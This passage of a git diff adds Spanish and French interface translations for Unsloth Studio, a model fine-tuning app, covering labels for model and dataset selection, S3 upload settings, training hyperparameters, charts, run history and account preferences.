+      fasterTrainingBadge: "Entrenamiento 2x más rápido",
+      baseModel: "Modelo base",
+      localModel: "Modelo local",
+      localModelTooltip:
+        "Ruta a un modelo descargado localmente o a un repositorio de HF personalizado.",
+      scanningLocalAndCachedModels:
+        "Analizando modelos locales y en caché...",
+      scanning: "Analizando...",
+      scanningLocalModels: "Analizando modelos locales...",
+      noLocalModelsFound: "No se encontraron modelos locales",
+      noLocalModelsFoundManual:
+        "No se encontraron modelos locales. Introduce la ruta manualmente.",
+      failedToLoadLocalModels: "No se pudieron cargar los modelos locales",
+      hfCache: "Caché de HF",
+      customFolders: "Carpetas personalizadas",
+      localDir: "Directorio local",
+      huggingFaceModel: "Modelo de Hugging Face",
+      huggingFaceModelTooltip:
+        "Busca modelos en Hugging Face o elige de nuestra lista recomendada.",
+      searchModels: "Buscar modelos...",
+      searching: "Buscando...",
+      noModelsFound: "No se encontraron modelos",
+      needsVram: "Necesita ~{vram} GB de VRAM (GPU: {gpu} GB)",
+      tightVram: "~{vram} GB de VRAM (ajustado en {gpu} GB)",
+      vramEstimate: "~{vram} GB de VRAM",
+      method: "Método",
+      methodTooltip:
+        "QLoRA usa cuantización de 4 bits para la menor VRAM. LoRA usa 16 bits. Full actualiza todos los pesos. CPT (Continued Pretraining) entrena con texto sin procesar para adaptar el modelo a un nuevo dominio sin formato de chat.",
+      readMore: "Leer más",
+      fullFineTune: "Fine-tune completo",
+      checkingToken: "Comprobando token...",
+      getOrUpdateToken: "Obtener o actualizar token",
+      huggingFaceTokenOptional: "Token de Hugging Face (opcional)",
+      continuedPretraining: "Preentrenamiento continuo",
+      localModels: "Modelos locales",
+      localModelsFound: "{count} modelos locales/en caché encontrados",
+      loadingLocalModels: "Cargando modelos locales...",
+    },
+    dataset: {
+      title: "Conjunto de datos",
+      description: "Selecciona o sube datos de entrenamiento",
+      source: "Origen del conjunto de datos",
+      chooseDataset: "Elegir conjunto de datos",
+      chooseDatasetTooltip:
+        "Usa las pestañas emergentes para alternar entre Hugging Face y las salidas de recetas locales.",
+      localTab: "Local",
+      searchHuggingFaceDatasets:
+        "Buscar conjuntos de datos de Hugging Face...",
+      searchLocalDatasets: "Buscar conjuntos de datos locales...",
+      searching: "Buscando...",
+      noDatasetsFound: "No se encontraron conjuntos de datos",
+      loadingLocalDatasets: "Cargando conjuntos de datos locales...",
+      failedToLoadLocalDatasets:
+        "No se pudieron cargar los conjuntos de datos locales.",
+      noLocalDatasetsYet: "Aún no hay conjuntos de datos locales.",
+      noLocalDatasetsMatchSearch:
+        "Ningún conjunto de datos local coincide con la búsqueda.",
+      openDataRecipes: "Abrir Data Recipes",
+      browsingSource:
+        "Explorando {browsing}. La selección actual sigue siendo {current}.",
+      localDatasets: "Conjuntos de datos locales",
+      localDataset: "Conjunto de datos local",
+      localDatasetRows: " / {count} filas",
+      huggingFaceDataset: "Conjunto de datos de Hugging Face",
+      localDatasetMetadata: "Metadatos del conjunto de datos local",
+      dataRecipeOutput: "Salida de Data Recipe.",
+      rows: "Filas",
+      columns: "Columnas",
+      batches: "Lotes",
+      updated: "Actualizado",
+      evalDataset: "Conjunto de datos de evaluación",
+      uploading: "Subiendo...",
+      upload: "Subir",
+      uploadEvalFile: "Subir archivo de evaluación",
+      evalDatasetDescription:
+        "Opcional. Si no se proporciona, se separará una pequeña porción de los datos de entrenamiento.",
+      advanced: "Avanzado",
+      targetFormat: "Formato de destino",
+      targetFormatTooltip:
+        "Formato de tus datos de entrenamiento. La detección automática funciona para la mayoría de los conjuntos de datos.",
+      auto: "Automático",
+      rawText: "Texto sin procesar",
+      trainSplitStart: "Inicio de la partición de entrenamiento",
+      trainSplitStartTooltip:
+        "Entrena solo con un subconjunto de tu partición de entrenamiento especificando un índice de fila inicial (inclusivo, base 0). Déjalo vacío para empezar desde la primera fila.",
+      trainSplitEnd: "Fin de la partición de entrenamiento",
+      trainSplitEndTooltip:
+        "Último índice de fila a incluir de la partición de entrenamiento (inclusivo, base 0). Por ejemplo, pon Inicio en 0 y Fin en 99 para entrenar con las primeras 100 filas. Déjalo vacío para usar todas las filas restantes.",
+      endPlaceholder: "Fin",
+      clear: "Borrar",
+      dropFileOrClick: "Suelta 1 archivo aquí o haz clic para subir",
+      viewDataset: "Ver conjunto de datos",
+      uploadFailed: "La subida falló",
+      unknownError: "Error desconocido",
+      unsupportedFileType: "Tipo de archivo no admitido",
+      uploadOneFileType: "Sube un archivo {types}.",
+      datasetUploaded: "Conjunto de datos subido",
+      evalDatasetUploaded: "Conjunto de datos de evaluación subido",
+      uploadOneFileAtATime: "Sube un archivo a la vez",
+      uploadSingleFileDescription:
+        "La subida del conjunto de datos de entrenamiento acepta un solo archivo.",
+      checkingToken: "Comprobando token...",
+      getOrUpdateToken: "Obtener o actualizar token",
+      preview: "Vista previa del conjunto de datos",
+      split: "Partición",
+      subset: "Subconjunto",
+      s3: {
+        title: "Configuración de S3",
+        description:
+          "Carga conjuntos de datos .parquet, .json, .jsonl o .csv desde Amazon S3",
+        bucket: "Nombre del bucket",
+        bucketPlaceholder: "mi-bucket-de-datos-de-entrenamiento",
+        region: "Región de AWS",
+        regionPlaceholder: "us-east-1",
+        prefix: "Prefijo de ruta",
+        prefixPlaceholder: "datasets/whisper/",
+        prefixTooltip:
+          "Ruta opcional dentro del bucket hacia los archivos de tu conjunto de datos",
+        accessKeyId: "ID de clave de acceso",
+        accessKeyIdPlaceholder: "AKIAIOSFODNN7EXAMPLE",
+        secretAccessKey: "Clave de acceso secreta",
+        secretAccessKeyPlaceholder: "Tu clave de acceso secreta de AWS",
+        useIamRole: "Usar rol de IAM",
+        useIamRoleTooltip:
+          "Usa credenciales de rol de IAM en lugar de claves de acceso (recomendado para EC2/SageMaker)",
+        testConnection: "Probar conexión",
+        connectionSuccess: "Conexión al bucket de S3 exitosa",
+        connectionFailed: "No se pudo conectar al bucket de S3",
+        comingSoon: "Integración con S3 próximamente",
+        comingSoonDescription:
+          "La carga de conjuntos de datos desde S3 requiere boto3. Esta función está en desarrollo.",
+      },
+    },
+    params: {
+      title: "Parámetros",
+      description: "Configura los hiperparámetros de entrenamiento",
+      projectName: "Nombre del proyecto",
+      optional: "Opcional",
+      projectNameDescription:
+        "Se usa en los nombres de las carpetas de salida del entrenamiento, los valores predeterminados de exportación y el historial.",
+      loraSettings: "Configuración de LoRA",
+      trainingHyperparameters: "Hiperparámetros de entrenamiento",
+      maxSteps: "Pasos máximos",
+      epochs: "Épocas",
+      useMaxSteps: "Usar pasos máximos",
+      useEpochs: "Usar épocas",
+      maxStepsTooltip: "Anula el total de pasos del optimizador.",
+      epochsTooltip: "Número de pasadas completas sobre el conjunto de datos.",
+      epochsDescription:
+        "Cada época es una pasada completa sobre tu conjunto de datos.",
+      maxStepsDescription:
+        "Limita el entrenamiento a un número fijo de pasos del optimizador.",
+      contextLength: "Longitud de contexto",
+      contextLengthTooltip:
+        "Número máximo de tokens por muestra de entrenamiento.",
+      customContextLength: "Introduce un valor personalizado",
+      contextLengthDescription:
+        "Longitud máxima de secuencia para las muestras de entrenamiento",
+      learningRate: "Tasa de aprendizaje",
+      learningRateTooltip:
+        "Tamaño de paso para las actualizaciones de pesos. Valores más bajos entrenan más lento pero con mayor estabilidad.",
+      learningRateDescription:
+        "Recomendado: 2e-4 para LoRA, 5e-5 para CPT, 2e-5 para fine-tune completo",
+      embeddingLearningRate: "Tasa de aprendizaje de embeddings",
+      embeddingLearningRateTooltip:
+        "Solo se usa cuando CPT entrena embed_tokens. Los embeddings son más fáciles de desestabilizar que los pesos de LoRA, por lo que suelen necesitar una LR más pequeña. Déjalo en blanco para usar lr/10; el rango de trabajo típico es de 2x a 10x más pequeño que la LR principal. Auméntalo solo si la adaptación de vocabulario o de tokens de dominio es demasiado lenta.",
+      embeddingLearningRateDescription:
+        "Déjalo en blanco para usar lr/10 (recomendado). El rango típico es de 2x a 10x más pequeño que la tasa de aprendizaje principal.",
+      rank: "Rango",
+      rankTooltip:
+        "Dimensión de las matrices de bajo rango. Mayor = más capacidad.",
+      alpha: "Alpha",
+      alphaTooltip:
+        "Factor de escalado para las actualizaciones de LoRA. Normalmente 2x el rango.",
+      dropout: "Dropout",
+      dropoutTooltip:
+        "Probabilidad de dropout para las capas de LoRA para reducir el sobreajuste.",
+      visionLayers: "Capas de visión",
+      languageLayers: "Capas de lenguaje",
+      attentionModules: "Módulos de atención",
+      mlpModules: "Módulos MLP",
+      targetModules: "Módulos objetivo",
+      enableLora: "Habilitar LoRA",
+      trainWithLora: "Entrenar con LoRA",
+      stableRank: "Rango estable",
+      memoryEfficient: "Eficiente en memoria",
+      optimization: "Optimización",
+      schedule: "Programación",
+      memory: "Memoria",
+      optimizer: "Optimizador",
+      optimizerTooltip:
+        "Algoritmo de optimización. Las variantes de 8 bits reducen el uso de memoria. Se recomienda Fused para modelos de visión.",
+      lrScheduler: "Planificador de LR",
+      lrSchedulerTooltip:
+        "Cómo cambia la tasa de aprendizaje durante el entrenamiento. Linear decae de forma constante; cosine decae en una curva.",
+      optimizerOptions: {
+        adamw8bit: "AdamW 8 bits",
+        pagedAdamw8bit: "Paged AdamW 8 bits",
+        adamwBnb8bit: "AdamW BNB 8 bits",
+        pagedAdamw32bit: "Paged AdamW 32 bits",
+        adamwTorch: "AdamW (PyTorch)",
+        adamwTorchFused: "AdamW (PyTorch Fused)",
+      },
+      lrSchedulerOptions: {
+        linear: "Linear",
+        cosine: "Cosine",
+      },
+      batchSize: "Tamaño de batch",
+      batchSizeTooltip:
+        "Muestras procesadas por paso. Un valor más alto usa más VRAM.",
+      gradAccum: "Acum. de gradiente",
+      gradAccumTooltip:
+        "Simula tamaños de batch más grandes sin VRAM adicional.",
+      weightDecay: "Decaimiento de pesos",
+      weightDecayTooltip: "Regularización L2 para prevenir el sobreajuste.",
+      warmupSteps: "Pasos de calentamiento",
+      warmupStepsTooltip:
+        "Aumenta gradualmente la LR al inicio del entrenamiento para dar estabilidad.",
+      scheduleEpochsTooltip:
+        "Número de pasadas completas sobre el conjunto de datos. Pon 0 para ejecutar por pasos máximos.",
+      saveSteps: "Pasos entre guardados",
+      saveStepsTooltip: "Guarda un checkpoint cada N pasos. 0 para desactivar.",
+      evalSteps: "Pasos entre evaluaciones",
+      evalStepsTooltip:
+        "Fracción del total de pasos de entrenamiento entre evaluaciones (0-1). Pon 0 para desactivar la evaluación. P. ej. 0.01 = evaluar cada 1 % de los pasos.",
+      seed: "Semilla",
+      seedTooltip: "Semilla aleatoria para reproducibilidad.",
+      gradCheckpoint: "Checkpoint de gradiente",
+      gradCheckpointTooltip:
+        "Intercambia cómputo por memoria recalculando las activaciones.",
+      none: "Ninguno",
+      standard: "Estándar",
+      enablePacking: "Habilitar packing",
+      assistantCompletionsOnly: "Solo completaciones del asistente",
+      readMore: "Leer más",
+    },
+    training: {
+      title: "Entrenamiento",
+      description: "Monitorea y controla el entrenamiento",
+      chartNoDataTitle: "Aún no hay datos de entrenamiento",
+      chartNoDataDescription:
+        "Inicia el entrenamiento para ver el progreso de la pérdida",
+      startTraining: "Iniciar entrenamiento",
+      starting: "Iniciando...",
+      loadingModel: "Cargando modelo...",
+      checkingDataset: "Comprobando conjunto de datos...",
+      configLabel: "Configuración de entrenamiento",
+      upload: "Subir",
+      uploadConfigTooltip: "Carga una configuración YAML guardada",
+      save: "Guardar",
+      saveConfigTooltip: "Descarga la configuración actual como YAML",
+      reset: "Restablecer",
+      resetConfigTooltip: "Restablece a los valores predeterminados del modelo",
+      configLoaded: "Configuración cargada",
+      failedToLoadConfig: "No se pudo cargar la configuración",
+      invalidYamlFile: "Archivo YAML no válido",
+      failedToReadFile: "No se pudo leer el archivo",
+      parametersReset:
+        "Parámetros restablecidos a los valores predeterminados del modelo",
+      audioIncompatible:
+        "Este modelo no admite audio. Cambia a un modelo compatible con audio o elige un conjunto de datos sin audio.",
+      visionIncompatible:
+        "El modelo de texto no es compatible con un conjunto de datos multimodal. Cambia a un modelo de visión o elige un conjunto de datos solo de texto.",
+      cancelTitle: "Cancelar entrenamiento",
+      cancelDescription:
+        "¿Quieres cancelar la ejecución de entrenamiento actual?",
+      continueAction: "Continuar entrenamiento",
+      cancelAction: "Cancelar entrenamiento",
+      stopTitle: "Detener entrenamiento",
+      stopDescription:
+        "Elige cómo quieres detener la ejecución de entrenamiento actual.",
+      stopAction: "Detener",
+      stopping: "Deteniendo...",
+      stopAndSave: "Detener y guardar",
+      compareInChat: "Comparar en el chat",
+      exportModel: "Exportar modelo",
+      milestone: "Hito",
+      halfwayDone: "A mitad de camino. El entrenamiento superó el 50 %.",
+      doneNextStep:
+        "Entrenamiento terminado. Siguiente paso: comparar las salidas base y ajustadas.",
+    },
+    history: {
+      title: "Historial",
+      emptyTitle: "Aún no hay ejecuciones de entrenamiento",
+      emptyDescription:
+        "Aún no hay ejecuciones de entrenamiento. Inicia tu primera ejecución en la pestaña Configurar.",
+      loadError: "No se pudieron cargar las ejecuciones de entrenamiento",
+      deleteError:
+        "No se pudo eliminar la ejecución de entrenamiento. Inténtalo de nuevo.",
+      retry: "Reintentar",
+      loadMore: "Cargar más",
+      loading: "Cargando...",
+      loadingRun: "Cargando ejecución de entrenamiento...",
+      runNotFound: "Ejecución no encontrada",
+      deleteTitle: "¿Eliminar ejecución de entrenamiento?",
+      deleteDescription:
+        "Esto eliminará permanentemente esta ejecución de entrenamiento y todas sus métricas. Esta acción no se puede deshacer.",
+      runCount: "{count} ejecuciones",
+      oneRun: "1 ejecución",
+      resume: "Reanudar",
+      resumeTraining: "Reanudar entrenamiento",
+      resuming: "Reanudando...",
+      deleteRun: "Eliminar ejecución",
+      loss: "Pérdida",
+      steps: "Pasos",
+      lossTrendSparkline: "Minigráfica de tendencia de pérdida",
+      relativeJustNow: "justo ahora",
+      relativeMinutesAgo: "hace {count} min",
+      relativeHoursAgo: "hace {count} h",
+      relativeDaysAgo: "hace {count} d",
+      status: {
+        completed: "Completado",
+        stopped: "Detenido",
+        error: "Error",
+        running: "En ejecución",
+        continued: "Continuado",
+      },
+      message: {
+        completed: "Entrenamiento completado",
+        stopped: "Entrenamiento detenido",
+        running: "Entrenamiento en curso",
+        errored: "El entrenamiento tuvo un error",
+      },
+      copyPreviewLink: "Copiar enlace de vista previa",
+      previewLinkCopied: "Enlace de vista previa copiado",
+      previewLinkCopyFailed: "No se pudo copiar el enlace",
+    },
+    charts: {
+      settings: "Configuración de gráficas",
+      settingsDescription:
+        "Ajusta la presentación de las gráficas mientras el entrenamiento sigue en curso.",
+      openSettings: "Abrir configuración de gráficas",
+      viewWindow: "Ventana de visualización",
+      viewWindowDescription:
+        "Muestra solo los últimos pasos o todo el historial.",
+      window: "Ventana",
+      all: "Todo",
+      trainingLoss: "Pérdida de entrenamiento",
+      trainingLossDescription: "Controla las superposiciones y el suavizado EMA.",
+      smoothing: "Suavizado",
+      smoothingDescription:
+        "Mueve a la derecha para más suavizado. `0` = sin procesar.",
+      showRawLoss: "Mostrar pérdida sin procesar",
+      showSmoothedLoss: "Mostrar pérdida suavizada",
+      showAverageLine: "Mostrar línea de promedio",
+      scaleAndCleanup: "Escala y limpieza",
+      linear: "Lineal",
+      log: "Logarítmica",
+      noClip: "Sin recorte",
+      clipP99: "Recortar p99",
+      clipP95: "Recortar p95",
+      lossAxis: "Eje de pérdida",
+      gradientNormAxis: "Eje de norma del gradiente",
+      learningRateAxis: "Eje de tasa de aprendizaje",
+      resetDefaults: "Restablecer valores predeterminados",
+      loss: "Pérdida",
+      smoothed: "Suavizada",
+      evalLoss: "Pérdida de evaluación",
+      learningRate: "Tasa de aprendizaje",
+      lr: "LR",
+      gradNorm: "Norma de grad.",
+      gradientNorm: "Norma del gradiente",
+      step: "Paso {step}",
+      averageValue: "prom. {value}",
+      waitingForFirstEvaluationStep:
+        "Esperando el primer paso de evaluación...",
+      evaluationNotConfigured: "Evaluación no configurada",
+      evalChartWillAppear:
+        "La gráfica aparecerá cuando se alcance eval_steps",
+      setEvalDatasetAndSteps:
+        "Configura el conjunto de datos de evaluación y eval_steps para seguir la pérdida de evaluación",
+    },
+    progress: {
+      title: "Progreso del entrenamiento",
+      liveMetrics: "Métricas de entrenamiento en vivo",
+      exportGguf: "Exportar a GGUF",
+      openConfig: "Abrir configuración de entrenamiento",
+      configLabel: "Configuración de entrenamiento",
+      hyperparams: "Hiperparámetros",
+      epochs: "Épocas",
+      batchSize: "Tamaño de batch",
+      learningRate: "Tasa de aprendizaje",
+      optimizer: "Optimizador",
+      maxSteps: "Pasos máximos",
+      contextLength: "Longitud de contexto",
+      warmupSteps: "Pasos de calentamiento",
+      rank: "Rango",
+      alpha: "Alpha",
+      dropout: "Dropout",
+      variant: "Variante",
+      epoch: "Época {value}",
+      percentComplete: "{percent} % completado",
+      stepProgress: "Paso {current} / {total}",
+      loss: "Pérdida",
+      lr: "LR",
+      gradNorm: "Norma de grad.",
+      project: "Proyecto",
+      model: "Modelo",
+      method: "Método",
+      elapsed: "Transcurrido: {value}",
+      eta: "ETA: {value}",
+      stepsPerSecond: "{value} pasos/s",
+      noStepsPerSecond: "-- pasos/s",
+      tokens: "Tokens: {value}",
+      gpuMonitor: "Monitor de GPU",
+      live: "En vivo",
+      utilization: "Utilización",
+      temperature: "Temperatura",
+      vram: "VRAM",
+      power: "Potencia",
+      phase: {
+        idle: "Inactivo",
+        downloadingModel: "Descargando modelo",
+        downloadingDataset: "Descargando conjunto de datos",
+        loadingModel: "Cargando modelo",
+        loadingDataset: "Cargando conjunto de datos",
+        configuring: "Configurando",
+        training: "Entrenando",
+        completed: "Completado",
+        error: "Error",
+        stopped: "Detenido",
+      },
+    },
+    trainingStart: {
+      ready: "Listo",
+      downloading: "Descargando",
+      preparing: "Preparando",
+      left: "{eta} restante",
+      downloaded: "{size} descargado",
+      terminalStart: "> el entrenamiento de unsloth comienza...",
+      preparingResources: "> Preparando modelo y conjunto de datos...",
+      gettingReady:
+        "> Estamos dejando todo listo para tu ejecución...",
+      waitingForFirstStep:
+        "> {message} | esperando el primer paso... ({step})",
+      resumingTraining: "Reanudando entrenamiento...",
+      startingTraining: "iniciando entrenamiento...",
+      dataset: "Conjunto de datos",
+      datasetStreaming:
+        "Conjunto de datos: streaming (sin descarga completa)",
+      modelWeights: "Pesos del modelo",
+    },
+    tour: {
+      guidedTour: "Recorrido guiado",
+    },
+  },
+} satisfies DeepPartialMessageTree<typeof en>;
diff --git a/studio/frontend/src/i18n/locales/fr.ts b/studio/frontend/src/i18n/locales/fr.ts
new file mode 100644
index 0000000000..59d01c7dae
--- /dev/null
+++ b/studio/frontend/src/i18n/locales/fr.ts
@@ -0,0 +1,1038 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import type { DeepPartialMessageTree } from "../types";
+import type { en } from "./en";
+
+export const fr = {
+  common: {
+    cancel: "Annuler",
+    close: "Fermer",
+    delete: "Supprimer",
+    done: "Terminé",
+    error: "Erreur",
+    export: "Exporter",
+    help: "Aide",
+    loading: "Chargement...",
+    new: "Nouveau",
+    rename: "Renommer",
+    save: "Enregistrer",
+    saving: "Enregistrement...",
+    search: "Rechercher",
+    shutdown: "Arrêter",
+  },
+  shell: {
+    beta: "BETA",
+    brand: "unsloth",
+    product: "Unsloth Studio",
+    accountMenu: "Menu du compte de {name}",
+    updateAvailable: "Mise à jour disponible",
+    aria: {
+      home: "Accueil Unsloth",
+      closeSidebar: "Fermer la barre latérale",
+      openSidebar: "Ouvrir la barre latérale",
+      chatOptions: "Options de discussion",
+      runOptions: "Options d'exécution",
+    },
+    navigation: {
+      newChat: "Nouvelle discussion",
+      returnToChat: "Retour à la discussion",
+      compare: "Comparer",
+      search: "Rechercher",
+      hub: "Modèles",
+      train: "Entraîner",
+      recipes: "Recettes",
+      export: "Exporter",
+      recents: "Récents",
+      noChatsYet: "Aucune discussion pour le moment",
+      settings: "Paramètres",
+      api: "API",
+      lightMode: "Mode clair",
+      darkMode: "Mode sombre",
+      guidedTour: "Visite guidée",
+      help: "Aide",
+      logOut: "Se déconnecter",
+      shutdown: "Arrêter",
+    },
+    notFound: {
+      title: "Page introuvable",
+      description: "{path} n'existe pas.",
+      backToChat: "Retour à la discussion",
+    },
+    dialog: {
+      deleteChat: {
+        title: "Supprimer la discussion",
+        description: 'Voulez-vous vraiment supprimer cette discussion "{name}" ?',
+      },
+      deleteRun: {
+        title: "Supprimer l'entraînement",
+        description: 'Voulez-vous vraiment supprimer cet entraînement "{name}" ?',
+      },
+      renameChat: {
+        title: "Renommer la discussion",
+        placeholder: "Titre de la discussion",
+      },
+      renameRun: {
+        title: "Renommer l'entraînement",
+        placeholder: "Nom de l'entraînement",
+      },
+    },
+    toast: {
+      cannotDeleteRunningRun:
+        "Impossible de supprimer un entraînement en cours",
+      failedToDeleteChat: "Échec de la suppression de la discussion",
+      failedToDeleteRun: "Échec de la suppression de l'entraînement",
+      failedToRenameChat: "Échec du renommage de la discussion",
+      failedToRenameRun: "Échec du renommage de l'entraînement",
+    },
+  },
+  settings: {
+    title: "Paramètres",
+    dialog: {
+      title: "Paramètres",
+      description: "Gérez vos préférences Unsloth.",
+      closeAriaLabel: "Fermer les paramètres",
+    },
+    tabs: {
+      general: "Général",
+      profile: "Profil",
+      appearance: "Apparence",
+      resources: "Système",
+      chat: "Discussion",
+      connections: "Connexions",
+      apiKeys: "API",
+      about: "À propos",
+    },
+    general: {
+      title: "Général",
+      description: "Préférences globales pour Unsloth.",
+      account: "Compte",
+      huggingFaceToken: "Token Hugging Face",
+      huggingFaceTokenDescription:
+        "Utilisé pour charger des modèles restreints et publier des artefacts.",
+      hideToken: "Masquer le token",
+      showToken: "Afficher le token",
+      tokenValidated: "Jeton validé",
+      password: "Mot de passe",
+      passwordDescription:
+        "Changez le mot de passe de ce compte Unsloth.",
+      passwordDialog: {
+        trigger: "Changer le mot de passe",
+        title: "Changer le mot de passe",
+        description:
+          "Saisissez votre mot de passe actuel et choisissez-en un nouveau (au moins {minLength} caractères).",
+        currentPassword: "Mot de passe actuel",
+        newPassword: "Nouveau mot de passe",
+        confirmPassword: "Confirmer le nouveau mot de passe",
+        currentTooShort:
+          "Le mot de passe actuel doit comporter au moins {minLength} caractères.",
+        newTooShort:
+          "Le nouveau mot de passe doit comporter au moins {minLength} caractères.",
+        mismatch: "Les mots de passe ne correspondent pas.",
+        samePassword:
+          "Le nouveau mot de passe doit être différent de l'actuel.",
+        update: "Mettre à jour le mot de passe",
+        updating: "Mise à jour...",
+        updated: "Mot de passe mis à jour.",
+        updateFailed: "Échec de la mise à jour du mot de passe.",
+      },
+      chatDefaults: "Valeurs par défaut de discussion",
+      autoTitleNewChats: "Titrer automatiquement les nouvelles discussions",
+      autoTitleNewChatsDescription:
+        "Générer un titre court à partir du premier message.",
+      helperLlm: {
+        sectionTitle: "LLM assistant",
+        preloadOnStartup: "Précharger le LLM assistant au démarrage",
+        preloadOnStartupDescription:
+          "Télécharger le modèle assistant d'AI Assist en arrière-plan au démarrage. Désactivé par défaut ; AI Assist peut toujours le récupérer à la demande.",
+        disabledByEnv:
+          "Désactivé par UNSLOTH_HELPER_MODEL_DISABLE dans l'environnement du backend.",
+        loadError: "Échec du chargement des paramètres du LLM assistant.",
+        saveError: "Échec de l'enregistrement des paramètres du LLM assistant.",
+      },
+      modelAutoSwitch: {
+        sectionTitle: "Changement automatique de modèle (API OpenAI)",
+        enable: "Changer de modèle par requête",
+        enableDescription:
+          "Lorsqu'une requête compatible OpenAI nomme un autre GGUF téléchargé, le charger avant de répondre. Désactivé par défaut ; les noms inconnus continuent de servir le modèle chargé.",
+        idleUnload: "Déchargement automatique en cas d'inactivité",
+        idleUnloadDescription:
+          "Décharger le modèle après ce nombre de secondes d'inactivité pour libérer la VRAM ; la requête suivante le recharge. 0 le maintient chargé. Minimum 60 secondes.",
+        idleNeedsEnable:
+          "Activez Changer de modèle par requête pour qu'un modèle déchargé se recharge à la prochaine utilisation.",
+        idleActiveViaEnv:
+          "Le déchargement automatique en cas d'inactivité est actif via la variable d'environnement UNSLOTH_MODEL_IDLE_TTL.",
+        loadError:
+          "Échec du chargement des paramètres de changement automatique de modèle.",
+        saveError:
+          "Échec de l'enregistrement des paramètres de changement automatique de modèle.",
+        idleError: "Saisissez 0 pour garder le modèle chargé, ou au moins 60 secondes.",
+      },
+      previewSharing: {
+        sectionTitle: "Partage de l'aperçu",
+        enableLabel: "Liens d'aperçu publics",
+        enableDescription:
+          "Permettre à quiconque disposant d'un lien signé de discuter avec un modèle terminé, sans connexion. Désactivez pour mettre l'aperçu public hors ligne ; les liens partagés cessent de fonctionner.",
+        loadError: "Échec du chargement des paramètres de partage d'aperçu.",
+        saveError:
+          "Échec de l'enregistrement des paramètres de partage d'aperçu.",
+        revokeLabel: "Révoquer tous les liens d'aperçu",
+        revokeDescription:
+          "Renouveler le secret de signature pour que tous les liens partagés cessent de fonctionner. Les liens nouvellement copiés continuent de fonctionner.",
+        revokeAction: "Révoquer les liens",
+        revoking: "Révocation...",
+        revokeConfirmTitle: "Révoquer tous les liens d'aperçu ?",
+        revokeConfirmDescription:
+          "Tous les liens d'aperçu que vous avez partagés cesseront de fonctionner immédiatement. Cette action est irréversible.",
+        revokeConfirmAction: "Révoquer tous les liens",
+        revoked: "Tous les liens d'aperçu ont été révoqués",
+        revokeError: "Impossible de révoquer les liens d'aperçu",
+      },
+      notifications: {
+        sectionTitle: "Notifications",
+        showLlamaUpdates: "Notifications de mise à jour de llama.cpp",
+        showLlamaUpdatesDescription:
+          "Notifier lorsqu'une nouvelle version de llama.cpp est disponible pour exécuter de nouveaux modèles. Désactivez si vous ne faites que de l'entraînement.",
+      },
+      gettingStarted: "Prise en main",
+      startOnboarding: "Démarrer l'intégration",
+      startOnboardingDescription:
+        "Rouvrir l'assistant de configuration sans modifier votre compte.",
+      startOnboardingAction: "Démarrer l'intégration",
+      uploads: {
+        sectionTitle: "Téléversements",
+        maxUploadSize: "Limite de téléversement du jeu de données d'entraînement",
+        maxUploadSizeDescription: "La valeur par défaut est {defaultSize} Mo.",
+      },
+      rag: {
+        sectionTitle: "Documents et RAG",
+        embeddingModel: "Modèle d'embedding",
+        embeddingModelDescription:
+          "Modèle Hugging Face ou chemin local utilisé pour indexer et rechercher vos documents. La valeur par défaut est {defaultModel}.",
+        reindexWarning:
+          "N'affecte que les documents nouvellement indexés. Téléversez à nouveau les documents existants après avoir changé de modèle.",
+        emptyError:
+          "Saisissez un identifiant de modèle Hugging Face ou un chemin local.",
+        loadError: "Échec du chargement du paramètre du modèle d'embedding.",
+        saveError: "Échec de l'enregistrement du modèle d'embedding.",
+        saved: "Modèle d'embedding enregistré.",
+        saveAnyway: "Enregistrer quand même",
+        resetAction: "Réinitialiser par défaut",
+      },
+      storage: {
+        sectionTitle: "Stockage",
+        modelsFolder: "Dossier des modèles",
+        modelsFolderDescription: "Emplacement de stockage des modèles téléchargés.",
+        openAction: "Ouvrir",
+        copyAction: "Copier le chemin",
+        copied: "Chemin copié",
+        openError: "Impossible d'ouvrir le dossier",
+        copyError: "Impossible de copier le chemin",
+      },
+      resetPreferences: {
+        sectionTitle: "Zone de danger",
+        label: "Réinitialiser toutes les préférences locales",
+        description:
+          "Efface les préférences locales uniquement. Les discussions, l'accès API et les paramètres stockés en base de données sont conservés.",
+        action: "Réinitialiser les préférences",
+        confirmTitle: "Réinitialiser toutes les préférences locales ?",
+        confirmDescription:
+          "Efface les préférences locales uniquement et recharge Unsloth. Les discussions, l'accès API et les paramètres stockés en base de données sont conservés.",
+        confirmAction: "Réinitialiser et recharger",
+      },
+    },
+    profile: {
+      title: "Profil",
+      description: "Comment votre profil apparaît dans Unsloth.",
+      changePicture: "Changer la photo de profil",
+      displayName: "Nom affiché",
+      nickname: "Comment Unsloth doit-il vous appeler ?",
+      nicknamePlaceholder: "Surnom",
+      nicknameSaved: "Nom préféré enregistré",
+      avatarShape: "Forme de la photo de profil",
+      avatarShapeCircle: "Cercle",
+      avatarShapeRounded: "Arrondi",
+      chooseSloth: "Ou choisissez un paresseux",
+      nameSaved: "Nom de profil enregistré",
+      namePersistErrorTitle: "Impossible d'enregistrer le nom de profil",
+      namePersistErrorDescription:
+        "Nom mis à jour pour cette session, mais il pourrait ne pas persister après rechargement.",
+      photoUpdated: "Photo de profil mise à jour",
+      photoPersistErrorTitle: "Impossible d'enregistrer la photo de profil",
+      photoPersistErrorDescription:
+        "Photo mise à jour pour cette session, mais elle pourrait ne pas persister après rechargement.",
+      photoUpdateErrorTitle: "Impossible de mettre à jour la photo de profil",
+      imageUseError: "Impossible d'utiliser cette image.",
+    },
+    appearance: {
+      title: "Apparence",
+      description: "L'apparence d'Unsloth Studio sur cet appareil.",
+      theme: {
+        title: "Thème",
+        label: "Palette de couleurs",
+        description: "Clair, sombre ou selon votre système.",
+        system: "Système",
+        light: "Clair",
+        dark: "Sombre",
+      },
+      language: {
+        title: "Langue",
+        label: "Langue d'affichage",
+        description: "La langue utilisée par Unsloth.",
+        autoDetect: "Détection automatique",
+      },
+      layout: {
+        title: "Disposition",
+        compactSidebar: "Épingler la barre latérale par défaut",
+        compactSidebarDescription:
+          "Garder la barre latérale déployée au lieu de la réduire en icônes.",
+      },
+    },
+    resources: {
+      title: "Système",
+      description:
+        "Surveillez le matériel et le stockage de ce serveur Unsloth.",
+      liveUpdates: "Mises à jour en direct",
+      floatingWindow: "Fenêtre flottante",
+      disableOverlay: "Désactiver la superposition",
+      liveMonitor: {
+        title: "Moniteur en direct",
+        cpu: "CPU",
+        ram: "RAM",
+        disk: "Disque",
+        vram: "VRAM",
+        cpuCores: "{logical} cœurs logiques / {physical} physiques",
